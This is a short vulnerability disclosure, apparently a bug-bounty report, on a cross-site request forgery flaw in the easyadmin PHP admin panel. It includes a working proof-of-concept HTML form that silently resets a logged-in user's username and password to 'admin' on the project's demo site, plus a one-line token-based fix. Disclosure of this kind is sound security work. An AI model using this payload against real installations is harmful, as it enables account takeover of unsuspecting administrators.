Cross-Site Request Forgery (CSRF) in zhongshaofa/easyadmin
Aug 4th 2021
Attacker able to change any password and username with CSRF attack.
It does not matter at all that your application run in localhost or elsewhere, just it is enough to run on a browser and another low privilege user or attackers know the IP address or hostname of your application.
In CSRF attacks it is necessary that a user logged into your application just going to a malicious website and after that only with a redirection attacker can change a password, this means only with visiting a site a password will be changed.
🕵️♂️ Proof of Concept
1.fisrt user already should be logged in In Firefox or safari.
2.Open the PoC.html and click on submit button ( Also it can be auto-submit)
3.Here password and username of user will be change to
admin after clicking on submit button on PoC.html file.
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://easyadmin.99php.cn/admindemo/index/editPassword.html" method="POST"> <input type="hidden" name="username" value="admin" /> <input type="hidden" name="password" value="admin" /> <input type="hidden" name="password_again" value="admin" /> <input type="submit" value="Submit request" /> </form> </body> </html>
Also for real attacks the submit button can be auto-submit.
This vulnerability is capable of take control of any account.
set a token with a length bigger that 16 characters in every requests body then attacker never can guess the url.
